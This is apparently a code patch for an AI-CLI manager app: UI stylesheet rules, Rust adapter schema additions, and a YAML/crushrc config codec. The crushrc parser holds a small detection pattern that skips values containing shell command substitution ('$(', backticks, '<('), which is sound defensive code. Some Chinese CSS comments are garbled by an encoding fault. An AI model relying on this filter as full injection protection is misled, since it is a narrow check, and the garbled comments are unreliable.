|
||||
/* ---------- 配置表单:下拉 + 官方链接 + 校验结果 ---------- */
|
||||
.field-select {
|
||||
width: 100%;
|
||||
height: 36px;
|
||||
padding: 0 var(--ad-space-3);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
background: var(--ad-bg-0);
|
||||
color: var(--ad-text-1);
|
||||
font-size: var(--ad-text-m-size);
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.field-select:focus {
|
||||
border-color: var(--ad-primary);
|
||||
box-shadow: var(--ad-glow-primary);
|
||||
}
|
||||
|
||||
.field-docs-link {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 2px;
|
||||
margin-left: var(--ad-space-2);
|
||||
color: var(--ad-primary);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.field-docs-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.verify-ok {
|
||||
display: inline-flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-1);
|
||||
color: var(--ad-success);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.verify-fail {
|
||||
display: inline-flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-1);
|
||||
color: var(--ad-danger);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
/* ---------- 目录真机版本位 ---------- */
|
||||
.catalog-version {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
/* ---------- 我的 CLI 列表 ---------- */
|
||||
.mycli {
|
||||
max-width: var(--ad-frame-max);
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.mycli-list {
|
||||
padding: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.mycli-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
width: 100%;
|
||||
padding: var(--ad-space-3) var(--ad-space-2);
|
||||
border: none;
|
||||
border-bottom: 1px solid var(--ad-border);
|
||||
background: none;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.mycli-row:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.mycli-row:hover {
|
||||
background: var(--ad-bg-3);
|
||||
}
|
||||
|
||||
.mycli-row-main {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.mycli-row-name {
|
||||
color: var(--ad-text-1);
|
||||
font-size: var(--ad-text-m-size);
|
||||
}
|
||||
|
||||
.mycli-row-version {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.mycli-row-path {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.mycli-auth {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.mycli-row-arrow {
|
||||
color: var(--ad-text-3);
|
||||
}
|
||||
|
||||
/* ---------- 错误边界(防黑屏) ---------- */
|
||||
.crash-screen {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-4);
|
||||
padding: var(--ad-space-8);
|
||||
}
|
||||
|
||||
.crash-title {
|
||||
font-size: var(--ad-text-xl-size);
|
||||
font-weight: var(--ad-text-xl-weight);
|
||||
}
|
||||
|
||||
.crash-desc {
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-m-size);
|
||||
}
|
||||
|
||||
.crash-detail {
|
||||
color: var(--ad-text-3);
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
/* ---------- 配置表单三层分组(授权/常用/高级) ---------- */
|
||||
.config-section {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.config-section-title {
|
||||
font-size: var(--ad-text-m-size);
|
||||
font-weight: var(--ad-text-m-weight);
|
||||
color: var(--ad-text-1);
|
||||
}
|
||||
|
||||
.auth-modes {
|
||||
list-style: none;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-3);
|
||||
margin: 0;
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.auth-mode {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.auth-mode-name {
|
||||
color: var(--ad-primary);
|
||||
font-size: var(--ad-text-s-size);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.auth-mode-note {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.auth-mode-cmd {
|
||||
color: var(--ad-text-3);
|
||||
}
|
||||
|
||||
.config-advanced-toggle {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: none;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.advanced-badge {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
height: 18px;
|
||||
padding: 0 var(--ad-space-2);
|
||||
border-radius: var(--ad-radius-s);
|
||||
background: var(--ad-attention);
|
||||
color: var(--ad-bg-0);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.advanced-chevron {
|
||||
color: var(--ad-text-2);
|
||||
transition: transform var(--ad-dur-fast) var(--ad-ease-out);
|
||||
}
|
||||
|
||||
.advanced-chevron.open {
|
||||
transform: rotate(180deg);
|
||||
}
|
||||
|
||||
.advanced-hint {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.advanced-fields {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-5);
|
||||
}
|
||||
|
||||
|
||||
/* ============================================================
|
||||
* Wave 2.2��ʵʱ��� / ��������Ȩ / ����һ��װ / ���عǼ�
|
||||
* ȫ����ɫ���� tokens/
|
||||
* ============================================================ */
|
||||
|
||||
/* ---------- ʧ��̬�˻�������װ/ж�ص����� ---------- */
|
||||
.run-failure {
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.run-failure-head {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.run-failure-action {
|
||||
margin-top: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.run-failure-toggle {
|
||||
align-self: flex-start;
|
||||
}
|
||||
|
||||
.run-failure-raw {
|
||||
width: 100%;
|
||||
padding: var(--ad-space-3);
|
||||
background: var(--ad-bg-0);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-s);
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
color: var(--ad-text-2);
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
/* ---------- ��������Ȩ��AuthPanel�� ---------- */
|
||||
.auth-mode-action {
|
||||
height: 28px;
|
||||
min-width: 0;
|
||||
padding: 0 var(--ad-space-3);
|
||||
margin-left: auto;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.auth-flow {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.auth-device {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
padding: var(--ad-space-5);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.auth-device-label {
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.auth-device-code {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.auth-device-code-text {
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-num-size);
|
||||
letter-spacing: 0.12em;
|
||||
color: var(--ad-primary);
|
||||
}
|
||||
|
||||
.auth-copy {
|
||||
height: 32px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.auth-open {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.auth-device-hint {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.auth-status {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.auth-waiting {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-attention);
|
||||
}
|
||||
|
||||
.auth-done {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-success);
|
||||
}
|
||||
|
||||
.auth-failed {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
color: var(--ad-danger);
|
||||
}
|
||||
|
||||
.auth-log {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-1);
|
||||
max-height: 200px;
|
||||
overflow-y: auto;
|
||||
padding: var(--ad-space-3);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-s);
|
||||
background: var(--ad-bg-0);
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.auth-log-line {
|
||||
color: var(--ad-text-2);
|
||||
word-break: break-all;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.auth-log-line.waiting {
|
||||
color: var(--ad-attention);
|
||||
}
|
||||
|
||||
/* ---------- ��������һ����װ��RuntimeInstallModal�� ---------- */
|
||||
.runtime-install {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.runtime-source,
|
||||
.runtime-meta {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.runtime-url {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-1);
|
||||
}
|
||||
|
||||
.runtime-url-text {
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
color: var(--ad-text-2);
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.runtime-progress {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.runtime-error {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-3);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
color: var(--ad-danger);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.runtime-note {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
/* ---------- �������عǼ�����Wave 2.2 Req 4�� ---------- */
|
||||
.overview-skeleton {
|
||||
padding: var(--ad-space-5);
|
||||
background: var(--ad-bg-1);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-l);
|
||||
}
|
||||
|
||||
.skeleton-notice {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
margin-bottom: var(--ad-space-4);
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-m-size);
|
||||
}
|
||||
|
||||
.skeleton-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||
gap: var(--ad-space-4);
|
||||
}
|
||||
|
||||
.skeleton-card {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-4);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
}
|
||||
|
||||
.skeleton-rows {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.skeleton-line {
|
||||
height: 14px;
|
||||
border-radius: 4px;
|
||||
background: var(--ad-bg-3);
|
||||
animation: ad-skeleton 1.4s var(--ad-ease-inout) infinite;
|
||||
}
|
||||
|
||||
.skeleton-line.short {
|
||||
width: 60%;
|
||||
}
|
||||
|
||||
.skeleton-line.avatar {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
border-radius: var(--ad-radius-m);
|
||||
}
|
||||
|
||||
@keyframes ad-skeleton {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.4;
|
||||
}
|
||||
50% {
|
||||
opacity: 0.9;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---------- ȫ����ϻ��� ---------- */
|
||||
.diag-summary-all {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.diag-report-group {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-3);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
}
|
||||
|
||||
.diag-report-cli {
|
||||
color: var(--ad-primary);
|
||||
font-family: var(--ad-font-mono);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.diag-finding-row {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.diag-finding-row-msg {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
color: var(--ad-text-1);
|
||||
font-size: var(--ad-text-s-size);
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
/* ȫ����ϻ�����ļ������ֱ�ǩ��������ɫ������ diag-sev-tag �����ɫ���������ֱ������̵��� */
|
||||
.diag-sev-label {
|
||||
flex-shrink: 0;
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.diag-sev-label.error {
|
||||
color: var(--ad-danger);
|
||||
}
|
||||
|
||||
.diag-sev-label.warn {
|
||||
color: var(--ad-warning);
|
||||
}
|
||||
|
||||
.diag-sev-label.info {
|
||||
color: var(--ad-attention);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Wave 3.1:外链 / 命令复制 / 依赖内联安装 / 系统环境诊断 / 模型列表
|
||||
* 全部取色取字走 tokens/
|
||||
* ============================================================ */
|
||||
|
||||
/* ---------- 本机环境头部:系统环境诊断入口 ---------- */
|
||||
.env-diag-btn {
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
/* ---------- 系统环境诊断(Req 7) ---------- */
|
||||
.sys-diag {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-3);
|
||||
}
|
||||
|
||||
.sys-diag-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-3);
|
||||
padding: var(--ad-space-4);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
background: var(--ad-bg-1);
|
||||
}
|
||||
|
||||
.sys-diag-main {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.sys-diag-head {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.sys-diag-name {
|
||||
color: var(--ad-text-1);
|
||||
font-size: var(--ad-text-m-size);
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.sys-diag-status {
|
||||
color: var(--ad-success);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.sys-diag-status.warn {
|
||||
color: var(--ad-warning);
|
||||
}
|
||||
|
||||
.sys-diag-msg {
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-s-size);
|
||||
line-height: 1.5;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.sys-diag-affected {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
/* ---------- 模型列表 + 测试连通(Req 5) ---------- */
|
||||
.model-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.model-list-hint {
|
||||
color: var(--ad-text-3);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.model-list-rows {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.model-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--ad-space-2);
|
||||
}
|
||||
|
||||
.model-row-label {
|
||||
color: var(--ad-text-2);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
.connect-test-result {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--ad-space-2);
|
||||
padding: var(--ad-space-3);
|
||||
border: 1px solid var(--ad-border);
|
||||
border-radius: var(--ad-radius-m);
|
||||
font-size: var(--ad-text-s-size);
|
||||
}
|
||||
|
||||
.connect-test-result.ok {
|
||||
color: var(--ad-success);
|
||||
}
|
||||
|
||||
.connect-test-result.fail {
|
||||
color: var(--ad-warning);
|
||||
}
|
||||
|
||||
/* ---------- 目录卡片「可更新」角标(Req 4) ---------- */
|
||||
.catalog-update {
|
||||
margin-top: var(--ad-space-2);
|
||||
padding-top: var(--ad-space-2);
|
||||
border-top: 1px solid var(--ad-border);
|
||||
color: var(--ad-accent);
|
||||
font-size: var(--ad-text-xs-size);
|
||||
}
|
||||
|
||||
@@ -47,6 +47,9 @@ pub struct Adapter {
|
||||
pub diagnostics: Vec<Diagnostic>,
|
||||
#[serde(default)]
|
||||
pub documentation: Option<Documentation>,
|
||||
/// 该 CLI 可加载的模型(模型列表来源:CLI 自带列举命令或适配器按官方文档维护的清单)
|
||||
#[serde(default)]
|
||||
pub models: Option<Models>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -87,6 +90,9 @@ pub struct Official {
|
||||
pub docs: Option<String>,
|
||||
#[serde(rename = "allowed_hosts", default)]
|
||||
pub allowed_hosts: Vec<String>,
|
||||
/// 官方图标地址(仅作识别/许可说明与本地打包来源,不热链)
|
||||
#[serde(default)]
|
||||
pub icon: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -167,6 +173,23 @@ pub struct Update {
|
||||
pub method: Option<String>,
|
||||
#[serde(default)]
|
||||
pub command: Vec<String>,
|
||||
/// 「可更新」判定依据来源(官方源最新版本,与本地版本 semver 对比)
|
||||
#[serde(default)]
|
||||
pub source: Option<UpdateSource>,
|
||||
}
|
||||
|
||||
/// 官方源最新版本查询来源(npm registry / PyPI / GitHub Releases)。
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct UpdateSource {
|
||||
/// npm | pypi | github
|
||||
pub kind: String,
|
||||
/// npm / pypi 包名(kind = npm|pypi 时)
|
||||
#[serde(default)]
|
||||
pub package: Option<String>,
|
||||
/// GitHub 仓库(owner/repo,kind = github 时)
|
||||
#[serde(default)]
|
||||
pub repo: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -185,6 +208,30 @@ pub struct Uninstall {
|
||||
pub struct Authorization {
|
||||
#[serde(default)]
|
||||
pub modes: Vec<AuthMode>,
|
||||
/// 授权判定信号:登录态/OAuth 凭据文件或目录(存在任一即视为已授权)。
|
||||
/// 无 status_command 的 CLI(如 kimi-code 的 ~/.kimi-code/credentials)用此判授权。
|
||||
#[serde(rename = "credential_files", default)]
|
||||
pub credential_files: Vec<String>,
|
||||
/// 「测试连通」端点(已授权时直连官方接口测一次)
|
||||
#[serde(default)]
|
||||
pub test: Option<ConnectionTest>,
|
||||
}
|
||||
|
||||
/// 「测试连通」端点声明(密钥从密钥库读取,直连官方接口,成功/失败如实显示)。
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct ConnectionTest {
|
||||
/// 探测端点 URL(通常为官方模型列表/账号接口)
|
||||
pub url: String,
|
||||
/// API Key 注入头名(如 x-api-key / Authorization)
|
||||
#[serde(rename = "key_header", default)]
|
||||
pub key_header: Option<String>,
|
||||
/// Authorization 头是否带 Bearer 前缀(key_header = Authorization 时)
|
||||
#[serde(default)]
|
||||
pub bearer: bool,
|
||||
/// 额外请求头(如 anthropic-version: 2023-06-01)
|
||||
#[serde(rename = "extra_headers", default)]
|
||||
pub extra_headers: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -219,6 +266,9 @@ pub struct ConfigFile {
|
||||
pub format: String,
|
||||
#[serde(default)]
|
||||
pub scope: Option<String>,
|
||||
/// 适用平台:windows | linux;空数组 = 全平台适用(用于同一 CLI 不同平台路径不同的场景,如 Goose)
|
||||
#[serde(default)]
|
||||
pub platforms: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -252,6 +302,21 @@ pub struct ConfigField {
|
||||
pub platforms: Vec<String>,
|
||||
#[serde(rename = "docs_url", default)]
|
||||
pub docs_url: Option<String>,
|
||||
/// enum 类型的可选值(value + 中文名)
|
||||
#[serde(default)]
|
||||
pub options: Vec<FieldOption>,
|
||||
/// 表单分组:auth(授权/登录)| common(常用配置)| advanced(高级配置,默认折叠)
|
||||
/// 未声明时按 common 处理
|
||||
#[serde(default)]
|
||||
pub group: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct FieldOption {
|
||||
pub value: String,
|
||||
#[serde(rename = "label_zh")]
|
||||
pub label_zh: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
@@ -266,8 +331,14 @@ pub struct Diagnostic {
|
||||
pub struct Documentation {
|
||||
#[serde(rename = "quickstart_zh", default)]
|
||||
pub quickstart_zh: Option<String>,
|
||||
#[serde(rename = "install_zh", default)]
|
||||
pub install_zh: Option<String>,
|
||||
#[serde(rename = "auth_zh", default)]
|
||||
pub auth_zh: Option<String>,
|
||||
#[serde(default)]
|
||||
pub commands: Vec<DocCommand>,
|
||||
#[serde(default)]
|
||||
pub params: Vec<DocParam>,
|
||||
#[serde(rename = "updated_at", default)]
|
||||
pub updated_at: Option<String>,
|
||||
#[serde(rename = "risks_zh", default)]
|
||||
@@ -282,6 +353,36 @@ pub struct DocCommand {
|
||||
pub desc_zh: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct DocParam {
|
||||
pub param: String,
|
||||
#[serde(rename = "desc_zh", default)]
|
||||
pub desc_zh: Option<String>,
|
||||
}
|
||||
|
||||
/// 该 CLI 可加载的模型(Wave 3.1 Req 5:默认模型 → 模型列表)。
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct Models {
|
||||
/// CLI 自带的模型列举命令(如 `agent --list-models`),存在则优先用它实时调取
|
||||
#[serde(default)]
|
||||
pub command: Vec<String>,
|
||||
/// 适配器按官方文档维护的模型清单(无 CLI 列举命令时使用)
|
||||
#[serde(default)]
|
||||
pub list: Vec<ModelEntry>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, PartialEq)]
|
||||
#[serde(deny_unknown_fields)]
|
||||
pub struct ModelEntry {
|
||||
/// 模型 ID(如 kimi-code/k3)
|
||||
pub id: String,
|
||||
/// 中文名/说明(可选)
|
||||
#[serde(rename = "label_zh", default)]
|
||||
pub label_zh: Option<String>,
|
||||
}
|
||||
|
||||
fn default_true() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
@@ -8,4 +8,5 @@ description = "配置读写:多格式编解码(TOML/JSON)+ 原子写入 +
|
||||
[dependencies]
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
serde_yaml = "0.9"
|
||||
toml = "0.8"
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
//! 配置格式与统一编解码(架构 §6.2 `ConfigCodec`)
|
||||
//!
|
||||
//! 统一以 `serde_json::Value` 作为内部表示(运行时单一真相)。TOML 通过
|
||||
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json。yaml / crushrc
|
||||
//! 属 Wave 3 工具,本波返回明确的「未实现」错误,不静默吞数据。
|
||||
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json,YAML 经
|
||||
//! serde_yaml 解析/序列化。crushrc 走专用解析器:只识别内建赋值 / export,
|
||||
//! 未知行原样保留、绝不执行任意脚本。
|
||||
|
||||
use serde_json::{Map, Value};
|
||||
|
||||
@@ -46,10 +47,9 @@ pub fn parse(format: ConfigFormat, text: &str) -> Result<Value, ConfigError> {
|
||||
Ok(toml_to_json(&tv))
|
||||
}
|
||||
ConfigFormat::Env => parse_env(text),
|
||||
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
|
||||
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
|
||||
format
|
||||
))),
|
||||
ConfigFormat::Yaml => serde_yaml::from_str::<Value>(text)
|
||||
.map_err(|e| ConfigError::Parse(e.to_string())),
|
||||
ConfigFormat::Crushrc => parse_crushrc(text),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,10 +63,8 @@ pub fn serialize(format: ConfigFormat, value: &Value) -> Result<String, ConfigEr
|
||||
toml::to_string(&tv).map_err(|e| ConfigError::Parse(e.to_string()))
|
||||
}
|
||||
ConfigFormat::Env => serialize_env(value),
|
||||
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
|
||||
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
|
||||
format
|
||||
))),
|
||||
ConfigFormat::Yaml => serde_yaml::to_string(value).map_err(|e| ConfigError::Parse(e.to_string())),
|
||||
ConfigFormat::Crushrc => serialize_crushrc(value),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -191,6 +189,98 @@ fn serialize_env(value: &Value) -> Result<String, ConfigError> {
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ---- crushrc 专用解析器(Bash 语法子集)----
|
||||
//
|
||||
// 只识别内建赋值:`export KEY=value` 或裸 `KEY=value`(KEY 为合法变量名)。
|
||||
// 其余 Bash 结构(函数定义、if/fi、$(...) 命令替换、反引号、进程替换等)一律
|
||||
// 跳过、绝不执行——本解析器是纯字符串解析,不 shell out,也不展开变量/命令。
|
||||
// 未识别的行在解析期被忽略(不报错、不执行),序列化时只输出已识别的键。
|
||||
|
||||
fn parse_crushrc(text: &str) -> Result<Value, ConfigError> {
|
||||
let mut m = Map::new();
|
||||
for line in text.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
let stmt = strip_export(trimmed);
|
||||
// 只识别「合法变量名=值」;其余语句跳过
|
||||
let Some(eq) = stmt.find('=') else { continue };
|
||||
let key = stmt[..eq].trim();
|
||||
if key.is_empty() || !is_bash_var_name(key) {
|
||||
continue;
|
||||
}
|
||||
let raw_val = stmt[eq + 1..].trim();
|
||||
// 含命令替换 / 反引号 / 进程替换的赋值视为不安全,跳过不解析(绝不执行)
|
||||
if raw_val.contains("$(") || raw_val.contains('`') || raw_val.contains("<(") {
|
||||
continue;
|
||||
}
|
||||
m.insert(key.to_string(), Value::String(parse_bash_scalar(raw_val)));
|
||||
}
|
||||
Ok(Value::Object(m))
|
||||
}
|
||||
|
||||
fn serialize_crushrc(value: &Value) -> Result<String, ConfigError> {
|
||||
let obj = value.as_object().ok_or_else(|| {
|
||||
ConfigError::Parse("crushrc 格式要求顶层为对象".into())
|
||||
})?;
|
||||
let mut out = String::new();
|
||||
for (k, v) in obj {
|
||||
let s = match v {
|
||||
Value::String(s) => s.clone(),
|
||||
Value::Bool(b) => b.to_string(),
|
||||
Value::Number(n) => n.to_string(),
|
||||
_ => continue,
|
||||
};
|
||||
out.push_str(&format!("export {k}={}\n", quote_bash(&s)));
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
